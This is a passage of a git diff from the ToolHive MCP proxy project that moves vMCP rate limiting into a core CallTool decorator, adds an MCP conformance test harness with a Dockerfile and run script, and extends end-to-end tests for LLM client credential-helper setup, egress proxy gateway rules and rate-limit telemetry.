http.NewServeMux(), PassthroughHeaders: []string{"x-test"}, AuthServer: &asrunner.EmbeddedAuthServer{}, diff --git a/pkg/vmcp/server/server.go b/pkg/vmcp/server/server.go index bb748f2db6..46f493b09d 100644 --- a/pkg/vmcp/server/server.go +++ b/pkg/vmcp/server/server.go @@ -31,6 +31,7 @@ import ( "github.com/stacklok/toolhive/pkg/authz" "github.com/stacklok/toolhive/pkg/bodylimit" mcpparser "github.com/stacklok/toolhive/pkg/mcp" + baseratelimit "github.com/stacklok/toolhive/pkg/ratelimit" "github.com/stacklok/toolhive/pkg/recovery" "github.com/stacklok/toolhive/pkg/telemetry" transportmiddleware "github.com/stacklok/toolhive/pkg/transport/middleware" @@ -44,6 +45,7 @@ import ( "github.com/stacklok/toolhive/pkg/vmcp/headerforward" "github.com/stacklok/toolhive/pkg/vmcp/health" "github.com/stacklok/toolhive/pkg/vmcp/optimizer" + vmcpratelimit "github.com/stacklok/toolhive/pkg/vmcp/ratelimit" "github.com/stacklok/toolhive/pkg/vmcp/router" "github.com/stacklok/toolhive/pkg/vmcp/server/sessionmanager" vmcpsession "github.com/stacklok/toolhive/pkg/vmcp/session" @@ -163,9 +165,10 @@ type Config struct { // capture (no middleware is installed). PassthroughHeaders []string - // RateLimitMiddleware is the optional rate-limit middleware to apply after - // authentication and MCP request parsing. - RateLimitMiddleware func(http.Handler) http.Handler + // RateLimiter is the optional core-layer limiter applied at CallTool. + // It runs below the session optimizer, so tool names are already resolved + // to the backend tool name before bucket selection. + RateLimiter baseratelimit.Limiter // AuthServer is the optional embedded authorization server. // When non-nil, the routes returned by Routes() are registered on the mux @@ -457,6 +460,10 @@ func New( return nil, err } + if cfg.RateLimiter != nil { + coreVMCP = vmcpratelimit.NewDecorator(coreVMCP, cfg.RateLimiter) + } + // Wrap the core with the code mode decorator when enabled. It sits BELOW any optimizer: // ListTools now advertises execute_tool_script alongside the backend tools, so the // Serve-layer optimizer (if enabled) indexes it like any other tool, and the script's @@ -626,8 +633,6 @@ func (s *Server) Handler(_ context.Context) (http.Handler, error) { mcpHandler = peerProbeMiddleware(mcpHandler) mcpHandler = s.listenStreamGuardMiddleware(mcpHandler) - mcpHandler = s.applyRateLimiting(mcpHandler) - // Apply authentication middleware if configured (runs first in chain) if s.config.AuthMiddleware != nil { mcpHandler = s.config.AuthMiddleware(mcpHandler) @@ -661,14 +666,6 @@ func (s *Server) Handler(_ context.Context) (http.Handler, error) { return mux, nil } -func (s *Server) applyRateLimiting(next http.Handler) http.Handler { - if s.config.RateLimitMiddleware == nil { - return next - } - slog.Info("rate limit middleware enabled for MCP endpoints") - return s.config.RateLimitMiddleware(next) -} - // applyForwardedHeaderCapture wraps next with the forwarded-header capture // middleware when passthrough headers are configured. It copies the allowlisted // incoming headers into the request context so the per-session backend client @@ -1217,7 +1214,7 @@ func (s *Server) handleSessionRegistrationImpl(ctx context.Context, session serv // session from the initialize POST and from a GET listen stream (or SSE // reconnect) on a pod that does not hold the session in memory; the latter // attaches to the bound session or is rejected, and never calls CreateSession. - // It keeps the GET's own context, so its wait for the binding ends when the + // It keeps the context of the GET request, so its wait for the binding ends when the // client goes away. Checked before the cleanup defer below: rejecting a // re-registration must not terminate the owner's session. if isListenStreamRegistration(ctx) { diff --git a/pkg/vmcp/types.go b/pkg/vmcp/types.go index 507533b829..19ed4c68b0 100644 --- a/pkg/vmcp/types.go +++ b/pkg/vmcp/types.go @@ -247,6 +247,7 @@ const ( // DiscoveredBackend represents a backend server discovered by vMCP runtime. // This type is shared with the Kubernetes operator CRD (VirtualMCPServer.Status.DiscoveredBackends). +// +gendoc type DiscoveredBackend struct { // Name is the name of the backend MCPServer Name string `json:"name"` @@ -616,6 +617,7 @@ type RoutingTable struct { // ConflictResolutionStrategy defines how to handle capability name conflicts. // Placed in vmcp root package to be shared by config and aggregator packages. +// +gendoc type ConflictResolutionStrategy string const ( diff --git a/test/conformance/.gitignore b/test/conformance/.gitignore new file mode 100644 index 0000000000..fbca225379 --- /dev/null +++ b/test/conformance/.gitignore @@ -0,0 +1 @@ +results/ diff --git a/test/conformance/Dockerfile b/test/conformance/Dockerfile new file mode 100644 index 0000000000..b66a0f083e --- /dev/null +++ b/test/conformance/Dockerfile @@ -0,0 +1,15 @@ +# Builds the MCP conformance reference server from the conformance repo's +# examples/servers/typescript directory. This Dockerfile is copied into that +# directory by run-conformance.sh before `docker build`, so the build context +# is the server source (package.json, *.ts). +# +# The stock `npm start` (tsx) entrypoint is used unchanged: it works behind +# `thv run` because the CLI workload container is not read-only-rootfs. +FROM node:22-slim +WORKDIR /app +COPY package.json package-lock.json ./ +RUN npm ci +COPY *.ts ./ +ENV PORT=3000 +EXPOSE 3000 +CMD ["npm", "start"] diff --git a/test/conformance/README.md b/test/conformance/README.md new file mode 100644 index 0000000000..ee3d319f58 --- /dev/null +++ b/test/conformance/README.md @@ -0,0 +1,54 @@ +# MCP Conformance + +Runs the [MCP conformance suite](https://github.com/modelcontextprotocol/conformance) +against a ToolHive deployment to verify that ToolHive's proxy/transport layer is +spec-transparent. + +## What it does + +ToolHive is a proxy in front of MCP servers, so the suite is run against the +endpoint that `thv run` exposes. `run-conformance.sh`: + +1. Clones the conformance repo at a pinned version and builds its reference + server (`examples/servers/typescript/everything-server.ts`, which implements + the fixtures the suite requires) into a container image using `Dockerfile`. +2. Starts it through `thv run --transport streamable-http`. +3. Points `npx @modelcontextprotocol/conformance server` at the proxied + `/mcp` endpoint, gated by `expected-failures.yaml`. + +The reference server is **not** the npm `@modelcontextprotocol/server-everything` +package — that is an unrelated server that does not implement the conformance +fixtures. + +## Running locally + +```bash +task conformance +``` + +Requires Docker and Node.js. Results are written to `test/conformance/results/`. + +## Version pinning + +`CONFORMANCE_VERSION` (default in `run-conformance.sh`) pins **both** the npm +tool (`@modelcontextprotocol/conformance@$VERSION`) and the git server source +(`git --branch v$VERSION`). Repo tags map 1:1 to npm versions, so bump both by +changing this one value. Renovate does not track this pair — bump it manually. + +## The baseline (`expected-failures.yaml`) + +Lists scenarios that are known to fail and accepted. CI fails only on failures +**not** listed here. An entry that starts passing again is reported as *stale* +and also fails CI, so keep the list accurate. The CLI (`thv run`) proxy is +transparent, so the list is currently empty. + +## Scope + +Covers the CLI (`thv run`) proxy path with the `active` suite. Not covered: + +- **Kubernetes operator proxy** — it rewrites the outbound `Host` header to the + upstream Service identity, which breaks MCP servers that validate `Host` (per + the spec's DNS-rebinding guidance). Blocked on resolving that before a k8s + conformance gate is meaningful. +- **stdio→streamable-http bridge** — the reference server is HTTP-only; covering + the bridge needs a stdio fixture server. diff --git a/test/conformance/expected-failures.yaml b/test/conformance/expected-failures.yaml new file mode 100644 index 0000000000..6116d79337 --- /dev/null +++ b/test/conformance/expected-failures.yaml @@ -0,0 +1,9 @@ +# Conformance baseline for the ToolHive CLI (`thv run`) proxy path. +# +# List scenario names here that are KNOWN to fail and accepted. The suite fails +# CI only on failures NOT listed here. Note: an entry that starts passing again +# is reported as a STALE entry and also fails CI — keep this list accurate. +# +# The CLI proxy is transport-transparent, so this list is empty: every scenario +# in the `active` suite is expected to pass. +server: [] diff --git a/test/conformance/run-conformance.sh b/test/conformance/run-conformance.sh new file mode 100755 index 0000000000..5749fc6cd9 --- /dev/null +++ b/test/conformance/run-conformance.sh @@ -0,0 +1,96 @@ +#!/bin/bash +# Run the MCP conformance suite against a ToolHive deployment. +# +# Packages the conformance repo's reference server (examples/servers/typescript) +# dynamically at a pinned version, runs it through `thv run` (streamable-http), +# and points `npx @modelcontextprotocol/conformance` at the proxied endpoint. +# +# A single CONFORMANCE_VERSION pins both the npm tool and the git server source +# (repo tags vX.Y.Z map 1:1 to npm versions), keeping fixtures and tool in sync. +# +# Env: +# CONFORMANCE_VERSION conformance tool + server version (default: 0.1.16) +# CONFORMANCE_SUITE suite to run: active|all|pending (default: active) +# THV_BINARY path to the thv binary (default: thv) +set -euo pipefail + +CONFORMANCE_VERSION="${CONFORMANCE_VERSION:-0.1.16}" +CONFORMANCE_SUITE="${CONFORMANCE_SUITE:-active}" +THV_BINARY="${THV_BINARY:-thv}" +SERVER_NAME="conf-sut-ci" +IMAGE="mcp-conformance-server:ci" + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +RESULTS_DIR="${SCRIPT_DIR}/results" +EXPECTED_FAILURES="${SCRIPT_DIR}/expected-failures.yaml" + +# thv proxying to a container is a local-only, trusted-dev workflow. +export TOOLHIVE_DEV=true +export TOOLHIVE_SKIP_DESKTOP_CHECK=1 + +CLONE_DIR="" +cleanup() { + "${THV_BINARY}" rm "${SERVER_NAME}" >/dev/null 2>&1 || true + [ -n "${CLONE_DIR}" ] && rm -rf "${CLONE_DIR}" || true +} +trap cleanup EXIT + +echo "==> Cloning conformance repo v${CONFORMANCE_VERSION}" +CLONE_DIR="$(mktemp -d)" +for attempt in 1 2 3; do + if git clone --depth 1 --branch "v${CONFORMANCE_VERSION}" \ + https://github.com/modelcontextprotocol/conformance "${CLONE_DIR}/repo"; then + break + fi + echo "clone attempt ${attempt} failed; retrying..." >&2 + rm -rf "${CLONE_DIR}/repo" + sleep 5 + [ "${attempt}" = 3 ] && { echo "ERROR: could not clone conformance repo" >&2; exit 1; } +done + +SERVER_DIR="${CLONE_DIR}/repo/examples/servers/typescript" +if [ ! -f "${SERVER_DIR}/everything-server.ts" ]; then + echo "ERROR: reference server not found at ${SERVER_DIR}" >&2 + exit 1 +fi + +echo "==> Building reference server image" +cp "${SCRIPT_DIR}/Dockerfile" "${SERVER_DIR}/Dockerfile" +docker build -t "${IMAGE}" "${SERVER_DIR}" + +echo "==> Starting server through ToolHive" +"${THV_BINARY}" rm -f "${SERVER_NAME}" >/dev/null 2>&1 || true +"${THV_BINARY}" run "${IMAGE}" \ + --transport streamable-http --target-port 3000 --name "${SERVER_NAME}" + +echo "==> Resolving proxy URL" +URL="" +for _ in $(seq 1 30); do + URL="$("${THV_BINARY}" list --format json 2>/dev/null \ + | python3 -c "import sys,json; d=json.load(sys.stdin) +print(next((w['url'] for w in d if w.get('name')=='${SERVER_NAME}' and w.get('status')=='running' and w.get('url')), ''))" \ + 2>/dev/null || true)" + [ -n "${URL}" ] && break + sleep 2 +done +[ -z "${URL}" ] && { echo "ERROR: could not resolve ${SERVER_NAME} URL" >&2; "${THV_BINARY}" list || true; exit 1; } +echo " URL: ${URL}" + +echo "==> Waiting for endpoint to be ready" +for _ in $(seq 1 30); do + code="$(curl -s -o /dev/null -w '%{http_code}' "${URL}" -X POST \ + -H 'content-type: application/json' \ + -H 'accept: application/json, text/event-stream' \ + -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"probe","version":"1"}}}' || true)" + [ "${code}" = "200" ] && break + sleep 2 +done +[ "${code}" = "200" ] || { echo "ERROR: endpoint never became ready (last HTTP ${code})" >&2; exit 1; } + +echo "==> Running conformance suite (${CONFORMANCE_SUITE})" +rm -rf "${RESULTS_DIR}" +npx -y "@modelcontextprotocol/conformance@${CONFORMANCE_VERSION}" server \ + --url "${URL}" \ + --suite "${CONFORMANCE_SUITE}" \ + --expected-failures "${EXPECTED_FAILURES}" \ + -o "${RESULTS_DIR}" diff --git a/test/e2e/README.md b/test/e2e/README.md index a03c68e8da..03867c3995 100644 --- a/test/e2e/README.md +++ b/test/e2e/README.md @@ -22,6 +22,10 @@ These tests validate ToolHive functionality by exercising the full application s - `oidc_mock.go` - Mock OIDC server for authentication tests - `run_tests.sh` - Test runner script +Operator-specific end-to-end tests live in subdirectories, such as the +[VirtualMCPServer E2E tests](thv-operator/virtualmcp/README.md) that run against +a real Kubernetes cluster. + ### Test Categories Tests are organized using Ginkgo labels for parallelization and filtering: diff --git a/test/e2e/api_clients_validation_test.go b/test/e2e/api_clients_validation_test.go index fb15953a74..608ab73c5e 100644 --- a/test/e2e/api_clients_validation_test.go +++ b/test/e2e/api_clients_validation_test.go @@ -53,7 +53,7 @@ var _ = Describe("Clients API Validation", Label("api", "api-clients", "clients" } } return false - }, 60*time.Second, 2*time.Second).Should(BeTrue()) + }, 90*time.Second, 2*time.Second).Should(BeTrue()) By("Attempting to register with an invalid client type") invalidClientName := fmt.Sprintf("invalid-client-%d", time.Now().UnixNano()) @@ -115,7 +115,7 @@ var _ = Describe("Clients API Validation", Label("api", "api-clients", "clients" } } return false - }, 60*time.Second, 2*time.Second).Should(BeTrue()) + }, 90*time.Second, 2*time.Second).Should(BeTrue()) By("Attempting bulk register with invalid client types") invalidClientName1 := fmt.Sprintf("invalid-bulk-1-%d", time.Now().UnixNano()) diff --git a/test/e2e/api_groups_test.go b/test/e2e/api_groups_test.go index 4d2dbee51c..e7e9c4331b 100644 --- a/test/e2e/api_groups_test.go +++ b/test/e2e/api_groups_test.go @@ -357,7 +357,7 @@ var _ = Describe("Groups API", Label("api", "api-misc", "groups", "e2e"), func() } } return false - }, 60*time.Second, 2*time.Second).Should(BeTrue(), + }, 90*time.Second, 2*time.Second).Should(BeTrue(), "Workload should reach running state before deletion") By("Deleting the group with workloads") diff --git a/test/e2e/cli_llm_all_clients_test.go b/test/e2e/cli_llm_all_clients_test.go index 102a141270..8a704af58d 100644 --- a/test/e2e/cli_llm_all_clients_test.go +++ b/test/e2e/cli_llm_all_clients_test.go @@ -16,6 +16,7 @@ import ( . "github.com/onsi/ginkgo/v2" . "github.com/onsi/gomega" + "github.com/pelletier/go-toml/v2" "github.com/stacklok/toolhive/pkg/auth/tokensource" "github.com/stacklok/toolhive/pkg/llm" @@ -962,6 +963,268 @@ var _ = Describe("thv llm — all-client matrix", Label("cli", "llm", "clients", }) }) + Describe("claude-desktop (credential-helper) setup and teardown", func() { + // Claude Desktop uses a configLibrary document + _meta.json selector and + // a credential-helper shim, not single-file JSON-pointer patching — so it + // gets its own assertions rather than the allClientTestCases matrix. + claudeDesktopPaths := func(root string) (appDir, configLib, shim string) { + if runtime.GOOS == osDarwin { + base := filepath.Join(root, "Library", "Application Support") + return filepath.Join(base, "Claude"), + filepath.Join(base, "Claude-3p", "configLibrary"), + filepath.Join(root, ".toolhive", "llm", "claude-desktop-helper.sh") + } + return filepath.Join(root, "Claude"), + filepath.Join(root, "Claude-3p", "configLibrary"), + filepath.Join(root, ".toolhive", "llm", "claude-desktop-helper.sh") + } + + // readAppliedConfigDoc resolves _meta.json's appliedId to its config doc. + readAppliedConfigDoc := func(configLib string) (map[string]any, map[string]any) { + metaData, err := os.ReadFile(filepath.Join(configLib, "_meta.json")) + Expect(err).ToNot(HaveOccurred(), "_meta.json should exist after setup") + var meta map[string]any + Expect(json.Unmarshal(metaData, &meta)).To(Succeed()) + + appliedID, _ := meta["appliedId"].(string) + Expect(appliedID).ToNot(BeEmpty(), "appliedId should be set after setup") + docData, err := os.ReadFile(filepath.Join(configLib, appliedID+".json")) + Expect(err).ToNot(HaveOccurred(), "applied config document should exist") + var doc map[string]any + Expect(json.Unmarshal(docData, &doc)).To(Succeed()) + return meta, doc + } + + It("writes the config document, selector, and shim, then reverts them", func() { + issuerURL := fmt.Sprintf("http://localhost:%d", oidcPort) + appDir, configLib, shim := claudeDesktopPaths(tempDir) + + By("creating the Claude Desktop app directory so detection succeeds") + Expect(os.MkdirAll(appDir, 0750)).To(Succeed()) + + By("running thv llm setup --client claude-desktop") + // Pin the Anthropic prefix so setup skips the network probe (fast, + // deterministic base URL). + stdout, stderr, err := runSetupWithOIDCCompletion( + thvCmd, oidcServer, + "--client", "claude-desktop", + "--gateway-url", gatewayURL, + "--issuer", issuerURL, + "--client-id", clientID, + "--anthropic-path-prefix", "/anthropic", + "--models", "claude-opus-4-8,claude-sonnet-4-6", + ) + Expect(err).ToNot(HaveOccurred(), + "setup should succeed; stdout=%q stderr=%q", stdout, stderr) + Expect(stdout).To(ContainSubstring("quit"), + "setup should tell the user to relaunch Claude Desktop") + + By("verifying the config document contents") + _, doc := readAppliedConfigDoc(configLib) + Expect(doc["inferenceProvider"]).To(Equal("gateway")) + Expect(doc["inferenceCredentialKind"]).To(Equal("helper-script")) + Expect(doc["inferenceGatewayAuthScheme"]).To(Equal("bearer")) + Expect(doc["inferenceGatewayBaseUrl"]).To(Equal(gatewayURL + "/anthropic")) + Expect(doc["inferenceCredentialHelper"]).To(Equal(shim)) + Expect(doc["inferenceModels"]).To(ConsistOf("claude-opus-4-8", "claude-sonnet-4-6")) + + By("verifying the credential-helper shim is executable and calls thv llm token") + info, statErr := os.Stat(shim) + Expect(statErr).ToNot(HaveOccurred(), "shim should exist after setup") + Expect(info.Mode().Perm()&0100).ToNot(BeZero(), "shim should be executable") + shimData, readErr := os.ReadFile(shim) + Expect(readErr).ToNot(HaveOccurred()) + Expect(string(shimData)).To(ContainSubstring("llm token")) + + By("verifying config show lists claude-desktop in credential-helper mode") + showOut, _ := thvCmd("llm", "config", "show", "--format", "json").ExpectSuccess() + var cfg llm.Config + Expect(json.Unmarshal([]byte(showOut), &cfg)).To(Succeed()) + var found bool + for _, toolCfg := range cfg.ConfiguredTools { + if string(toolCfg.Tool) == "claude-desktop" { + found = true + Expect(toolCfg.Mode).To(Equal("credential-helper")) + } + } + Expect(found).To(BeTrue(), "claude-desktop should appear in ConfiguredTools") + + By("running thv llm teardown claude-desktop") + thvCmd("llm", "teardown", "claude-desktop").ExpectSuccess() + + By("verifying the config document and shim are removed and the selector cleared") + metaData, err := os.ReadFile(filepath.Join(configLib, "_meta.json")) + Expect(err).ToNot(HaveOccurred(), "_meta.json should still exist after teardown") + var meta map[string]any + Expect(json.Unmarshal(metaData, &meta)).To(Succeed()) + Expect(meta["appliedId"]).To(Equal(""), "appliedId should be cleared after teardown") + Expect(meta["entries"]).To(BeEmpty(), "ToolHive entry should be removed after teardown") + _, shimStatErr := os.Stat(shim) + Expect(os.IsNotExist(shimStatErr)).To(BeTrue(), "shim should be deleted after teardown") + + showOut, _ = thvCmd("llm", "config", "show", "--format", "json").ExpectSuccess() + cfg = llm.Config{} + Expect(json.Unmarshal([]byte(showOut), &cfg)).To(Succeed()) + Expect(cfg.ConfiguredTools).To(BeEmpty(), + "ConfiguredTools should be empty after teardown") + }) + }) + + Describe("codex (codex-auth) setup and teardown", func() { + // Codex's LLM gateway config lives in ~/.codex/config.toml, patched via a + // dedicated TOML writer (auth is a command/args table, not a JSON pointer + // key), so it gets its own assertions rather than the allClientTestCases + // matrix, which only understands JSON. + readCodexConfig := func(configPath string) map[string]any { + data, err := os.ReadFile(configPath) + Expect(err).ToNot(HaveOccurred(), "config.toml should exist") + var config map[string]any + Expect(toml.Unmarshal(data, &config)).To(Succeed()) + return config + } + + It("detects the macOS desktop app without CLI evidence", func() { + if runtime.GOOS != osDarwin { + Skip("Codex desktop detection is macOS-only") + } + + issuerURL := fmt.Sprintf("http://localhost:%d", oidcPort) + configPath := filepath.Join(tempDir, ".codex", "config.toml") + plistPath := filepath.Join(tempDir, "Applications", "ChatGPT.app", "Contents", "Info.plist") + plist := ` + +CFBundleIdentifiercom.openai.codex` + + By("creating only the ChatGPT desktop app bundle evidence") + Expect(os.MkdirAll(filepath.Dir(plistPath), 0750)).To(Succeed()) + Expect(os.WriteFile(plistPath, []byte(plist), 0600)).To(Succeed()) + _, err := os.Stat(filepath.Join(tempDir, ".codex")) + Expect(os.IsNotExist(err)).To(BeTrue(), ".codex must not exist before setup") + _, err = os.Stat(filepath.Join(binDir, "codex")) + Expect(os.IsNotExist(err)).To(BeTrue(), "no fake codex binary should exist") + + // plutil is invoked by absolute path (/usr/bin/plutil) so it does + // not need to be on $PATH. The PATH is still restricted to exclude + // user-level package-manager paths that may contain a real Codex CLI. + appOnlyTHVCmd := func(args ...string) *e2e.THVCommand { + return thvCmd(args...).WithEnv("PATH=" + binDir + ":/usr/bin:/bin") + } + stdout, stderr, err := runSetupWithOIDCCompletion( + appOnlyTHVCmd, oidcServer, + "--client", "codex", + "--gateway-url", gatewayURL, + "--issuer", issuerURL, + "--client-id", clientID, + ) + Expect(err).ToNot(HaveOccurred(), + "setup should succeed; stdout=%q stderr=%q", stdout, stderr) + + By("verifying app-only detection wrote the canonical Codex configuration") + config := readCodexConfig(configPath) + Expect(config["model_provider"]).To(Equal("toolhive-gateway")) + providers, ok := config["model_providers"].(map[string]any) + Expect(ok).To(BeTrue()) + provider, ok := providers["toolhive-gateway"].(map[string]any) + Expect(ok).To(BeTrue()) + Expect(provider["base_url"]).To(Equal(gatewayURL + "/v1")) + auth, ok := provider["auth"].(map[string]any) + Expect(ok).To(BeTrue()) + Expect(auth["command"]).ToNot(BeEmpty()) + Expect(auth["args"]).To(Equal([]any{"llm", "token", "--skip-browser"})) + + showOut, _ := appOnlyTHVCmd("llm", "config", "show", "--format", "json").ExpectSuccess() + var cfg llm.Config + Expect(json.Unmarshal([]byte(showOut), &cfg)).To(Succeed()) + Expect(cfg.ConfiguredTools).To(HaveLen(1)) + Expect(string(cfg.ConfiguredTools[0].Tool)).To(Equal("codex")) + Expect(cfg.ConfiguredTools[0].Mode).To(Equal("codex-auth")) + + By("tearing down and verifying the provider is removed") + appOnlyTHVCmd("llm", "teardown", "codex").ExpectSuccess() + config = readCodexConfig(configPath) + _, hasModelProvider := config["model_provider"] + Expect(hasModelProvider).To(BeFalse()) + if providers, ok := config["model_providers"].(map[string]any); ok { + _, stillPresent := providers["toolhive-gateway"] + Expect(stillPresent).To(BeFalse()) + } + showOut, _ = appOnlyTHVCmd("llm", "config", "show", "--format", "json").ExpectSuccess() + cfg = llm.Config{} + Expect(json.Unmarshal([]byte(showOut), &cfg)).To(Succeed()) + Expect(cfg.ConfiguredTools).To(BeEmpty()) + }) + + It("writes the model_provider and auth command, then reverts them", func() { + issuerURL := fmt.Sprintf("http://localhost:%d", oidcPort) + codexDir := filepath.Join(tempDir, ".codex") + configPath := filepath.Join(codexDir, "config.toml") + + By("creating the .codex directory and codex binary so detection succeeds") + Expect(os.MkdirAll(codexDir, 0750)).To(Succeed()) + Expect(createFakeBinary(binDir, "codex")).To(Succeed()) + + By("running thv llm setup --client codex") + stdout, stderr, err := runSetupWithOIDCCompletion( + thvCmd, oidcServer, + "--client", "codex", + "--gateway-url", gatewayURL, + "--issuer", issuerURL, + "--client-id", clientID, + ) + Expect(err).ToNot(HaveOccurred(), + "setup should succeed; stdout=%q stderr=%q", stdout, stderr) + + By("verifying config.toml contains the toolhive-gateway provider") + config := readCodexConfig(configPath) + Expect(config["model_provider"]).To(Equal("toolhive-gateway")) + providers, ok := config["model_providers"].(map[string]any) + Expect(ok).To(BeTrue(), "model_providers table should exist") + provider, ok := providers["toolhive-gateway"].(map[string]any) + Expect(ok).To(BeTrue(), "model_providers.toolhive-gateway table should exist") + Expect(provider["name"]).To(Equal("ToolHive Gateway")) + Expect(provider["base_url"]).To(Equal(gatewayURL + "/v1")) + Expect(provider["wire_api"]).To(Equal("responses")) + + auth, ok := provider["auth"].(map[string]any) + Expect(ok).To(BeTrue(), "model_providers.toolhive-gateway.auth table should exist") + Expect(auth["command"]).ToNot(BeEmpty(), "auth.command should point at the thv executable") + args, ok := auth["args"].([]any) + Expect(ok).To(BeTrue(), "auth.args should be an array") + Expect(args).To(Equal([]any{"llm", "token", "--skip-browser"})) + + By("verifying config show lists codex in codex-auth mode") + showOut, _ := thvCmd("llm", "config", "show", "--format", "json").ExpectSuccess() + var cfg llm.Config + Expect(json.Unmarshal([]byte(showOut), &cfg)).To(Succeed()) + var found bool + for _, toolCfg := range cfg.ConfiguredTools { + if string(toolCfg.Tool) == "codex" { + found = true + Expect(toolCfg.Mode).To(Equal("codex-auth")) + } + } + Expect(found).To(BeTrue(), "codex should appear in ConfiguredTools") + + By("running thv llm teardown codex") + thvCmd("llm", "teardown", "codex").ExpectSuccess() + + By("verifying model_provider and the toolhive-gateway table were removed") + config = readCodexConfig(configPath) + _, hasModelProvider := config["model_provider"] + Expect(hasModelProvider).To(BeFalse(), "model_provider should be cleared after teardown") + if providers, ok := config["model_providers"].(map[string]any); ok { + _, stillPresent := providers["toolhive-gateway"] + Expect(stillPresent).To(BeFalse(), "toolhive-gateway provider should be removed after teardown") + } + + showOut, _ = thvCmd("llm", "config", "show", "--format", "json").ExpectSuccess() + cfg = llm.Config{} + Expect(json.Unmarshal([]byte(showOut), &cfg)).To(Succeed()) + Expect(cfg.ConfiguredTools).To(BeEmpty(), + "ConfiguredTools should be empty after teardown") + }) + }) + Describe("thv llm token with an expired cached access token", func() { It("does not return the expired token", func() { claudeDir := filepath.Join(tempDir, ".claude") diff --git a/test/e2e/network_isolation_test.go b/test/e2e/network_isolation_test.go index 5d01fe8adc..278a9c113d 100644 --- a/test/e2e/network_isolation_test.go +++ b/test/e2e/network_isolation_test.go @@ -259,11 +259,11 @@ var _ = Describe("NetworkIsolation", Label("proxy", "network", "isolation", "e2e "the egress proxy must deny the bridge gateway IP without --allow-docker-gateway") retireServer(denyServer) - By("Confirming --allow-docker-gateway removes the deny so the host is reachable") + By("Confirming --allow-docker-gateway grants access so the host is reachable") allowServer := startFetchServer("allow", "", "--allow-docker-gateway") result := fetchThrough(allowServer, target) if result.IsError { - // The deny removal is pinned deterministically by the config test + // The deny→allow swap is pinned deterministically by the config test // below; whether the bridge gateway actually routes to a host // service is environment-specific — it works on Linux Docker Engine // (where the bridge gateway is the host), but on Docker Desktop the @@ -276,12 +276,13 @@ var _ = Describe("NetworkIsolation", Label("proxy", "network", "isolation", "e2e }) // This test pins the egress ACL rules deterministically on a real, deployed - // container — both the hostname deny (which the traffic test above cannot - // exercise without the host.docker.internal DNS confounder of #5640) and the - // direct-IP deny. It complements, rather than duplicates, the unit test for + // container — the default hostname and direct-IP deny rules (which the + // traffic test above cannot exercise without the host.docker.internal DNS + // confounder of #5640), and the allow rules the flag emits in their place. + // It complements, rather than duplicates, the unit test for // createTempEgressSquidConf: it proves thv actually generates and mounts the // config into the running egress proxy, alongside the real-traffic assertion above. - It("carries both gateway deny rules in the egress config by default and drops them with the flag", func() { + It("carries both gateway deny rules by default and replaces them with allow rules under the flag", func() { squidConf := func(serverName string) string { //nolint:gosec // container name is test-controlled out, err := exec.Command("docker", "exec", serverName+"-egress", @@ -300,12 +301,17 @@ var _ = Describe("NetworkIsolation", Label("proxy", "network", "isolation", "e2e "default config must deny the docker gateway IP (the DNS-bypass path)") retireServer(denyServer) - By("With --allow-docker-gateway: both deny rules are absent") + By("With --allow-docker-gateway: the deny rules are replaced by explicit allow rules") allowConf := squidConf(startFetchServer("cfg-allow", "", "--allow-docker-gateway")) - Expect(allowConf).ToNot(ContainSubstring("docker_gateway_hosts"), + Expect(allowConf).ToNot(ContainSubstring("http_access deny docker_gateway_hosts"), "--allow-docker-gateway must remove the gateway hostname deny rule") - Expect(allowConf).ToNot(ContainSubstring("docker_gateway_ip"), + Expect(allowConf).ToNot(ContainSubstring("http_access deny docker_gateway_ip"), "--allow-docker-gateway must remove the gateway IP deny rule") + Expect(allowConf).To(ContainSubstring("http_access allow docker_gateway_hosts"), + "--allow-docker-gateway must grant access to the gateway hostnames") + Expect(allowConf).To(ContainSubstring("dstdomain host.docker.internal gateway.docker.internal")) + Expect(allowConf).To(ContainSubstring("http_access allow docker_gateway_ip"), + "--allow-docker-gateway must grant access to the gateway IP") }) }) }) diff --git a/test/e2e/thv-operator/virtualmcp/virtualmcp_rate_limiting_test.go b/test/e2e/thv-operator/virtualmcp/virtualmcp_rate_limiting_test.go index 5ef0b527c0..75a8f1f2ed 100644 --- a/test/e2e/thv-operator/virtualmcp/virtualmcp_rate_limiting_test.go +++ b/test/e2e/thv-operator/virtualmcp/virtualmcp_rate_limiting_test.go @@ -17,11 +17,15 @@ import ( "github.com/mark3labs/mcp-go/mcp" "github.com/onsi/ginkgo/v2" "github.com/onsi/gomega" + dto "github.com/prometheus/client_model/go" + "github.com/prometheus/common/expfmt" + "github.com/prometheus/common/model" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/types" mcpv1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1/v1beta1test" + "github.com/stacklok/toolhive/pkg/ratelimit" vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" "github.com/stacklok/toolhive/test/e2e/images" ) @@ -39,6 +43,7 @@ var _ = ginkgo.Describe("VirtualMCPServer Rate Limiting", ginkgo.Ordered, func() vmcpName string redisName string oidcName string + telemetryName string vmcpLocalPort int oidcLocalPort int vmcpPortForwardCleanup func() @@ -53,6 +58,7 @@ var _ = ginkgo.Describe("VirtualMCPServer Rate Limiting", ginkgo.Ordered, func() vmcpName = fmt.Sprintf("e2e-rl-vmcp-%d", ts) redisName = fmt.Sprintf("e2e-rl-redis-%d", ts) oidcName = fmt.Sprintf("e2e-rl-oidc-%d", ts) + telemetryName = fmt.Sprintf("e2e-rl-telemetry-%d", ts) ginkgo.By("Deploying Redis") deployRedis(redisName) @@ -111,10 +117,30 @@ var _ = ginkgo.Describe("VirtualMCPServer Rate Limiting", ginkgo.Ordered, func() return nil }, timeout, pollInterval).Should(gomega.Succeed()) + ginkgo.By("Creating Prometheus telemetry configuration") + gomega.Expect(k8sClient.Create(ctx, &mcpv1beta1.MCPTelemetryConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: telemetryName, + Namespace: defaultNamespace, + }, + Spec: mcpv1beta1.MCPTelemetryConfigSpec{ + Prometheus: &mcpv1beta1.PrometheusConfig{Enabled: true}, + }, + })).To(gomega.Succeed()) + gomega.Eventually(func() bool { + telemetryConfig := &mcpv1beta1.MCPTelemetryConfig{} + err := k8sClient.Get(ctx, types.NamespacedName{ + Name: telemetryName, + Namespace: defaultNamespace, + }, telemetryConfig) + return err == nil && 